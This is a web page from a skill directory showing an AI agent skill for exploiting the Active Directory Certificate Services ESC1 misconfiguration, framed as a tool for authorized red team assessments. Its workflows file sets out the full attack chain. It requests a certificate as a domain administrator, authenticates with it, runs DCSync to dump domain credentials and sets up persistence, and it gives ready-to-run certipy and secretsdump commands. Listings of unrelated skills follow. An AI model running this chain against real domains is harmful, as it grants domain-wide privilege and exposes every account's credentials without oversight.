Skip to content

SSZcreate/Pentab_server / .agents/skills/cybersecurity/skills/exploiting-active-directory-certificate-services-esc1

exploiting-active-directory-certificate-services-esc1

Verified

Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.

FileKindSize
LICENSEother11.0 KB
SKILL.mdskill md7.7 KB
assets/template.mdmarkdown1.3 KB
references/api-reference.mdmarkdown2.1 KB
references/standards.mdmarkdown1.1 KB
references/workflows.mdmarkdown1.9 KB
scripts/agent.pyscript4.6 KB
scripts/process.pyscript7.9 KB

references/workflows.md

View on GitHub
# Workflows - AD CS ESC1 Exploitation

## ESC1 Attack Chain Workflow

```
1. Enumeration
   ├── Identify CA servers: Certify.exe cas / certipy find
   ├── List certificate templates: Certify.exe find
   ├── Filter for vulnerable templates: /vulnerable flag
   └── Verify ESC1 conditions (ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU)

2. Certificate Request
   ├── Choose target principal (Domain Admin, Enterprise Admin)
   ├── Request certificate with target UPN in SAN field
   ├── CA processes request without approval (misconfigured)
   └── Save issued certificate (PFX/PEM)

3. Authentication
   ├── Convert certificate format if needed (PEM → PFX)
   ├── Use PKINIT to request TGT with forged certificate
   ├── Rubeus (Windows): asktgt /certificate:<pfx>
   ├── Certipy (Linux): auth -pfx <certificate>
   └── Obtain TGT or NT hash for target account

4. Privilege Escalation
   ├── Use obtained TGT/hash for privileged operations
   ├── DCSync: Dump all domain credentials
   ├── Access Domain Controller shares
   └── Establish persistence as needed

5. Documentation
   ├── Screenshot each step of the attack chain
   ├── Record CA name, template name, and SAN used
   ├── Document credentials obtained
   └── Provide remediation guidance
```

## Certipy Full Attack Workflow (Linux)

```bash
# Step 1: Find vulnerable templates
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable

# Step 2: Request certificate as administrator
certipy req -u user@domain.local -p 'Password123' \
  -ca 'domain-CA' -target DC01.domain.local \
  -template VulnerableTemplate \
  -upn administrator@domain.local

# Step 3: Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

# Step 4: Use recovered NT hash
secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
```
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall